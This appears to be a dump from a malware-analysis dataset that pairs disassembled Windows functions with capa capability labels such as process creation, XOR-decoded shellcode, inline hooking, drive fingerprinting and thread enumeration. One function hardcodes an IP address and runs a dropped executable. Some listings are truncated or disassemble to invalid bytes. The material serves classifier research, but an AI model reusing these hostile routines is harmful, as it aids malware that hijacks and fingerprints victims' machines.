joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404169
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x431c20]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
xor eax, eax
movzx ecx, word [eax + str.OurPro]
mov word [eax + 0x4361a8], cx
inc eax
inc eax
cmp cx, si
jne 0x40418d
xor eax, eax
movzx ecx, word [eax + str.WinCls]
mov word [eax + 0x4360e0], cx
inc eax
inc eax
cmp cx, si
jne 0x4041a4
mov eax, edi
call fcn.00404333
mov eax, dword [ebp + 0x10]
mov edx, 0x436278
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
cmp cx, si
jne 0x4041ca
call section..text
push 0x7d0
mov dword [0x432fc0], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.0040109c
test eax, eax
je 0x404202
call fcn.00402454
push esi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push esi
push edi
push esi
push esi
push esi
mov eax, closesocket
push eax
push esi
push eax
push 0xcf0000
push 0x4361a8
push 0x4360e0
push esi
mov dword [0x436270], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404238
call fcn.004025cd
cmp eax, esi
jne 0x404251
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00412e4d
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
mov word [esp + 0x14], ax
lea eax, [esp + 0x16]
push esi
push eax
call fcn.00415240
mov ecx, dword [0x436780]
add esp, 0xc
cmp ecx, esi
jbe 0x404294
cmp word [0x436784], si
jbe 0x404294
mov esi, str.218.54.31.226
call fcn.00402f00
mov ax, word [0x436784]
mov word [0x432fb4], ax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov esi, ecx
div esi
xor edx, edx
mov ebx, 0x436b38
div ecx
push edx
push str.tmp8_X.exe
push ebx
call fcn.00404415
add esp, 0xc
call fcn.00402fc0
lea edi, [esp + 0x10]
call fcn.00402f64
push 0x42b8a8
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00412e5c
add esp, 0xc
push ebx
mov eax, edi
push esi
push eax
call fcn.00412e5c
add esp, 0xc
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40431c
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
xor eax, eax
push eax
push 0x42b9c8
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00403c52
push 0
jmp 0x4041fc

Function at 0x4052f5
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x406df5
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x42cea8]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x42cea8]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x40746a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x40749a
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 2]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x407495
mov byte [esi + 6], 1
mov eax, dword [ebp + 0x10]
jmp 0x4074c2
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x4074ab
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0xc]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.00419d00
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x408169
Capabilities:
Get common file path

Disassembly:
push ecx
cmp dword [ebx], 0
push esi
push edi
jne 0x40820f
cmp dword [ebx + 4], 0xffffffff
jne 0x40820f
lea esi, [ebx + 0x244]
push esi
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x408196
sub eax, edx
sar eax, 1
movzx eax, word [ebx + eax*2 + 0x242]
cmp ax, 0x5c
je 0x4081cd
cmp ax, 0x2f
je 0x4081cd
dec esi
dec esi
mov ax, word [esi + 2]
inc esi
inc esi
test ax, ax
jne 0x4081ba
mov edi, esi
mov esi, 0x42b8a8
movsd dword es:[edi], dword [esi]
push 0x18
call fcn.004089e0
and dword [eax + 0x14], 0
and dword [eax + 7], 0
pop ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 0xc], ecx
mov ecx, dword [esp + 0x14]
push eax
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0xb], 0
mov dword [eax + 0x10], ecx
call fcn.004076e3
mov dword [ebx], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x408214
mov eax, 0x1000000
pop edi
pop esi
pop ecx
ret 8

Function at 0x412e4d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x431c20]
jne 0x412e57
repz ret
jmp fcn.0041771b
Function at 0x42222f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004179f0
and dword [ebp - 4], 0
cmp dword [0x435abc], 0
mov ebx, eax
jne 0x4222e0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x422391
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x422391
push eax
call fcn.0041797e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x435abc], eax
call esi
push eax
call fcn.0041797e
mov dword [esp], 0x42a664
push edi
mov dword [0x435ac0], eax
call esi
push eax
call fcn.0041797e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x435ac4], eax
call esi
push eax
call fcn.0041797e
pop ecx
mov dword [0x435acc], eax
test eax, eax
je 0x4222e0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041797e
pop ecx
mov dword [0x435ac8], eax
mov eax, dword [0x435ac8]
cmp eax, ebx
je 0x422338
cmp dword [0x435acc], ebx
je 0x422338
push eax
call fcn.004179f9
push dword [0x435acc]
mov esi, eax
call fcn.004179f9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x422338
test edi, edi
je 0x422338
call esi
test eax, eax
je 0x42232f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42232f
test byte [ebp - 0xc], 1
jne 0x422338
or dword [ebp + 0x10], 0x200000
jmp 0x422371
mov eax, dword [0x435ac0]
cmp eax, ebx
je 0x422371
push eax
call fcn.004179f9
pop ecx
test eax, eax
je 0x422371
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x422371
mov eax, dword [0x435ac4]
cmp eax, ebx
je 0x422371
push eax
call fcn.004179f9
pop ecx
test eax, eax
je 0x422371
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x435abc]
call fcn.004179f9
pop ecx
test eax, eax
je 0x422391
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x422393
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c
Function at 0x4116e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x4116ef
pop dword [ebp - 0x1c]
mov eax, 0xd0c44d74
add eax, 0x2f7cc97b
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x3ac4a
push 0
mov eax, 0x4717c596
sub eax, 0x46d5737e
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x7ecbc327
add ecx, 0x813478af
mov edx, eax
mov ebx, 0xa09b22d9
add ebx, 0x5fa83127
add ebx, dword [ebp - 0x1c]
mov esi, 0x4ce9b66d
add esi, 0xc508dd37
mov edi, dword [ebx]
xor dword [ebp - 0x18], ecx
xor edi, esi
xor dword [ebp - 4], 0x3908d39b
mov dword [edx], edi
add dword [ebp - 8], ecx
add edx, 0xb4ec7cf9
add edx, 0x4b13830b
add ebx, 0xf2ea361c
add ebx, 0xd15c9e8
loop 0x41174e
add eax, 0xe22b
mov ebx, eax
add eax, 0x1cea1577
add eax, 0xe315ea8e
mov ecx, 0xde848786
sub ecx, 0xde448786
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401d18
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x401dba
push 9
push str.ERROR_
push dword [0x40f2c6]
call fcn.004024a9
mov edi, dword [0x40f2c6]
sub eax, eax
mov ecx, pe_overlay
repne scasb al, byte es:[edi]
sub edi, 1
push edi
push 0
push 0xa
push dword [ebp + 8]
call fcn.004027bc
cmp dword [0x40ecde], 0
je 0x401d93
push 0xa
push str._IN_LINE
push dword [0x40f2c6]
call fcn.004024e1
mov edi, dword [0x40f2c6]
sub eax, eax
mov ecx, pe_overlay
repne scasb al, byte es:[edi]
sub edi, 1
push edi
push 0
push 0xa
push dword [0x40ecde]
call fcn.004027bc
push 3
push 0x40e090
push dword [0x40f2c6]
call fcn.004024e1
push pe_overlay
push dword [ebp + 0xc]
push dword [0x40f2c6]
call fcn.004024e1
jmp 0x401dcd
push pe_overlay
push dword [ebp + 0xc]
push dword [0x40f2c6]
call fcn.004024a9
push 0x15
push str.ERROR
push dword [0x40f2c6]
push 0
call sub.USER32.dll_MessageBoxA
cmp eax, 2
jne 0x401df0
mov esi, 0x40ecf0
jmp 0x40c1ea
mov eax, dword [ebp + 8]
leave
ret 8

Function at 0x401df7
Capabilities:
Write file on windows

Disassembly:
push eax
push ebx
push edi
pushfd
mov ebx, dword [0x4112d6]
cmp ebx, 0x200
jae 0x401e47
mov edi, dword [0x40f2c6]
mov dword [ebx*4 + 0x40f2d6], edi
add ebx, 1
mov dword [0x4112d6], ebx
sub eax, eax
mov ecx, pe_overlay
repne scasb al, byte es:[edi]
mov eax, pe_overlay
sub eax, ecx
test eax, 1
je 0x401e39
add eax, 1
add eax, dword [0x40f2c6]
cmp eax, dword [0x4112da]
jl 0x401e9a
popfd
push 0x37
push str.PASPLUS_RUNTIME_ERROR:_STRING_MEMORY_OVERFLOW_IN_LINE
push dword [0x40f2c6]
call fcn.004024a9
mov edi, dword [0x40f2c6]
sub eax, eax
mov ecx, pe_overlay
repne scasb al, byte es:[edi]
sub edi, 1
push edi
push 0
push 0xa
push dword [0x40ecde]
call fcn.004027bc
push 0x10
push str.ERROR
push dword [0x40f2c6]
push 0
call sub.USER32.dll_MessageBoxA
mov esi, 0x40ecf0
jmp 0x40c1ea
mov dword [0x40f2c6], eax
popfd
pop edi
pop ebx
pop eax
ret

Function at 0x4023fa
Capabilities:
Write file on windows

Disassembly:
push esi
push 0
push 0x40ec68
push 2
push 0x40e001
push dword [0x40ece6]
call sub.KERNEL32.dll_WriteFile
mov eax, dword [0x40ec68]
pop esi
ret

Function at 0x40294c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov ebx, dword [ebp + 0xc]
test ebx, ebx
mov dword [ebp - 4], ebx
jne 0x402965
lea ebx, [0x40eff8]
mov dword [ebp - 4], ebx
mov eax, 0
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x402979
mov ebx, dword [ebx]
mov dword [ebp - 8], ebx
mov dword [esi], 0
add esi, 4
mov dword [esi], 0

Function at 0x40342f
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
invalid
add dword [eax], eax
invalid

Function at 0x4036fb
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov eax, 0
mov dword [ebp - 4], eax
invalid

Function at 0x404adb
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
call sub.USER32.dll_GetDlgItem
mov dword [esi], eax
push 0
add bh, bh
call sub.USER32.dll_ShowWindow
add cl, cl
ret 8
Function at 0x406380
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push 0x810
push 0x40
call sub.KERNEL32.dll_GlobalAlloc
dec esp
pop edi
add byte [eax], al

Function at 0x40bf52
Capabilities:
Write file on windows

Disassembly:
mov edi, 0x40ecf0
mov ecx, 0x411300

Function at 0x1002195
Capabilities:
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xf0
push 4
call fcn.010012b0
test eax, eax
pop ecx
je 0x10021b6
mov ecx, eax
call dword [sym.imp.ulib.dll_public:_void___thiscall_CLASS_DESCRIPTOR::constructor_void_]
jmp 0x10021b8
xor eax, eax
test eax, eax
mov dword [0x1004004], eax
je 0x10021c9
mov ecx, eax
call dword [sym.imp.ulib.dll_public:_unsigned_char___thiscall_CLASS_DESCRIPTOR::Initialize_void_]
lea ecx, [ebp - 0x78]
call fcn.010012ff
lea ecx, [ebp - 0x78]
call fcn.01001cd6
test al, al
je 0x10021ee
lea ecx, [ebp - 0x78]
call fcn.0100133e
test al, al
je 0x10021ee
push dword [ebp + 0x10]
jmp 0x10021f0
push 2
call dword [sym.imp.msvcrt.dll_exit]
int3
Function at 0x10001500
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37d4
call fcn.10011c10
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push esi
push edi
push eax
push str..PhysicalDrive_d
lea edx, [ebp - 0x10c]
xor esi, esi
call fcn.10001eb0
add esp, 8
push esi
push esi
push 3
push esi
push 3
push esi
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x37cc], edi
cmp edi, 0xffffffff
je 0x1000173d
xor eax, eax
push 0x2710
push eax
lea edx, [ebp - 0x37bc]
mov dword [ebp - 0x37c8], eax
mov dword [ebp - 0x37c4], eax
push edx
mov dword [ebp - 0x37d0], esi
mov dword [ebp - 0x37c0], eax
mov dword [ebp - 0x37c8], eax
mov dword [ebp - 0x37c4], eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x37d0]
push eax
push 0x2710
lea ecx, [ebp - 0x37bc]
push ecx
push 0xc
lea edx, [ebp - 0x37c8]
push edx
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10001730
mov eax, dword [ebp - 0x37b0]
push esi
lea edi, [ebp - 0x8dc]
lea ecx, [ebp - 0x37bc]
call fcn.10001390
mov eax, dword [ebp - 0x37ac]
push esi
lea edi, [ebp - 0xcc4]
lea ecx, [ebp - 0x37bc]
call fcn.10001390
mov eax, dword [ebp - 0x37a8]
push esi
lea edi, [ebp - 0x10ac]
lea ecx, [ebp - 0x37bc]
call fcn.10001390
mov eax, dword [ebp - 0x37a4]
push 1
lea edi, [ebp - 0x4f4]
lea ecx, [ebp - 0x37bc]
call fcn.10001390
add esp, 0x10
cmp byte [0x1001baf0], 0
jne 0x100016e7
movsx eax, byte [ebp - 0x4f4]
mov edi, dword [sym.imp.MSVCR100.dll_isalnum]
push eax
call edi
add esp, 4
test eax, eax
jne 0x10001663
movsx ecx, byte [ebp - 0x4e1]
push ecx
call edi
add esp, 4
test eax, eax
je 0x100016e7
xor eax, eax
jmp 0x10001670
mov cl, byte [ebp + eax - 0x8dc]
mov byte [eax + 0x1001b6f0], cl
inc eax
test cl, cl
jne 0x10001670
xor eax, eax
jmp 0x10001690
mov cl, byte [ebp + eax - 0xcc4]
mov byte [eax + 0x1001b2f0], cl
inc eax
test cl, cl
jne 0x10001690
xor eax, eax
jmp 0x100016b0
mov cl, byte [ebp + eax - 0x4f4]
mov byte [eax + 0x1001baf0], cl
inc eax
test cl, cl
jne 0x100016b0
xor eax, eax
jmp 0x100016d0
mov cl, byte [ebp + eax - 0x10ac]
mov byte [eax + 0x1001aef0], cl
inc eax
test cl, cl
jne 0x100016d0
mov esi, 1
push 0x2710
lea edx, [ebp - 0x37bc]
push 0
push edx
call sub.MSVCR100.dll_memset
mov edx, dword [ebp - 0x37cc]
add esp, 0xc
push 0
lea eax, [ebp - 0x37d0]
push eax
push 0x2710
lea ecx, [ebp - 0x37bc]
push ecx
push 0
push 0
push 0x700a0
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, dword [ebp - 0x37cc]
jmp 0x10001736
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1001115f
mov esp, ebp
pop ebp
ret 4
Function at 0x10001df0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4
mov eax, dword [0x1001a018]
xor eax, esp
mov dword [esp + 0xa0], eax
push ebx
push esi
push edi
push 0x94
xor edi, edi
lea eax, [esp + 0x14]
push edi
push eax
mov esi, ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x14], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x20], 2
jne 0x10001e76
call fcn.100011e0
test eax, eax
jne 0x10001e8d
push esi
call fcn.10001910
test eax, eax
jne 0x10001e8d
push esi
call fcn.10001500
test eax, eax
jne 0x10001e8d
push esi
call fcn.10001070
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xa0]
xor ecx, esp
call fcn.1001115f
mov esp, ebp
pop ebp
ret
xor ebx, ebx
test edi, edi
jne 0x10001e8b
mov ecx, esi
call fcn.100017b0
inc ebx
mov edi, eax
cmp ebx, 0xa
jl 0x10001e78
mov eax, edi
mov ecx, dword [esp + 0xac]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1001115f
mov esp, ebp
pop ebp
ret

Function at 0x10001f40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov edi, eax
xor eax, eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0x40
mov esi, ecx
push 1
push esi
mov byte [ebp - 4], 0xe9
call ebx
lea ecx, [ebp - 0xc]
push ecx
push 1
lea edx, [ebp - 4]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
push ecx
push 1
push esi
call ebx
lea edx, [ebp - 8]
push edx
push 0x40
sub edi, esi
xor eax, eax
push 4
inc esi
sub edi, 5
push esi
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
call ebx
lea eax, [ebp - 0xc]
push eax
push 4
lea ecx, [ebp - 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 8]
lea edx, [ebp - 8]
push edx
push eax
push 4
push esi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002010
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100176b0
push 0x10011799
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1001a018]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, ecx
mov esi, edx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x1c], eax
mov ecx, 5
cmp eax, ecx
jae 0x10002082
mov byte [eax + esi], 0xcc
inc eax
jmp 0x1000206f
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x20]
push eax
push ecx
push esi
call ebx
jmp 0x10002099
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002140
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x130
mov eax, dword [0x1001a018]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10002191
push str.Error:_Unable_to_create_toolhelp_snapshot_
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
xor eax, eax
pop esi
pop ebx
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.1001115f
mov esp, ebp
pop ebp
ret
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000217b
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop
mov ecx, edi
lea eax, [esp + 0x2c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100021d6
test dl, dl
je 0x100021d2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100021d6
add eax, 2
add ecx, 2
test dl, dl
jne 0x100021b6
xor eax, eax
jmp 0x100021db
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100021ff
lea ecx, [esp + 8]
push ecx
push esi
call ebx
test eax, eax
jne 0x100021b0
pop esi
pop ebx
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.1001115f
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x134]
mov eax, dword [esp + 0x10]
pop esi
pop ebx
xor ecx, esp
call fcn.1001115f
mov esp, ebp
pop ebp
ret
Function at 0x10002220
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x63
lea eax, [ebp - 0xcb]
push 0
push eax
mov byte [ebp - 0xcc], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.bXYIUeBJCAMXECBxDIMH_]
not cl
xor cl, 0xd3
mov byte [ebp + eax - 0xcc], cl
inc eax
cmp eax, 0x19
jl 0x10002250
push 0x63
lea edx, [ebp - 0x67]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x68]
push ecx
mov dword [ebp - 0x68], 0x6c64746e
mov dword [ebp - 0x64], 0x6c642e6c
mov word [ebp - 0x60], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x100022b6
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001115f
mov esp, ebp
pop ebp
ret
push 0
push 4
lea edx, [ebp - 0xd0]
push edx
push 9
push esi
mov dword [ebp - 0xd0], 0
call eax
mov ecx, dword [ebp - 4]
neg eax
sbb eax, eax
not eax
and eax, dword [ebp - 0xd0]
xor ecx, ebp
call fcn.1001115f
mov esp, ebp
pop ebp
ret
Function at 0x100022f0
Capabilities:
Encode data using xor
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
mov eax, dword [0x1001a018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0xec], ebx
test ebx, ebx
jne 0x1000232b
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001115f
mov esp, ebp
pop ebp
ret
xor eax, eax
push esi
push edi
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], eax
lea eax, [ebp - 0xe8]
push eax
push ebx
mov dword [ebp - 0xe8], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
mov esi, eax
test esi, esi
je 0x10002491
mov bl, 0x6c
jmp 0x10002380
mov ecx, dword [ebp + 0xc]
cmp dword [ebp - 0xdc], ecx
jne 0x1000245f
mov edx, dword [ebp - 0xe0]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10002475
push 0x63
lea eax, [ebp - 0xcb]
push 0
push eax
mov byte [ebp - 0xcc], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + str.bXYIUeBJCAMXECBxDIMH_]
not cl
xor cl, 0xd3
mov byte [ebp + eax - 0xcc], cl
inc eax
cmp eax, 0x19
jl 0x100023d0
push 0x63
lea edx, [ebp - 0x67]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x68]
push ecx
mov word [ebp - 0x68], 0x746e
mov byte [ebp - 0x66], 0x64
mov byte [ebp - 0x65], bl
mov byte [ebp - 0x64], bl
mov word [ebp - 0x63], 0x642e
mov byte [ebp - 0x61], bl
mov byte [ebp - 0x60], bl
mov byte [ebp - 0x5f], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000245a
push 0
push 4
lea edx, [ebp - 0xf0]
push edx
push 9
push edi
mov dword [ebp - 0xf0], 0
call eax
neg eax
sbb eax, eax
not eax
and eax, dword [ebp - 0xf0]
cmp eax, dword [ebp + 8]
je 0x1000247f
mov ecx, dword [ebp - 0xec]
lea eax, [ebp - 0xe8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov esi, eax
test esi, esi
jne 0x10002380
jmp 0x1000248b
mov edx, dword [ebp - 0xe0]
mov dword [0x1001ee40], edx
mov ebx, dword [ebp - 0xec]
lea eax, [ebp - 0xe8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32First]
mov edi, eax
test edi, edi
je 0x10002509
mov ecx, dword [ebp + 0xc]
cmp dword [ebp - 0xdc], ecx
jne 0x100024e2
mov edx, dword [ebp - 0xe0]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x100024f2
call fcn.10002220
cmp eax, dword [ebp + 8]
jne 0x100024e2
mov eax, dword [ebp - 0xe0]
cmp eax, dword [0x1001ee40]
jne 0x100024f8
lea eax, [ebp - 0xe8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov edi, eax
test edi, edi
jne 0x100024a5
jmp 0x10002509
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1001ee44], eax
call esi
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.1001115f
mov esp, ebp
pop ebp
ret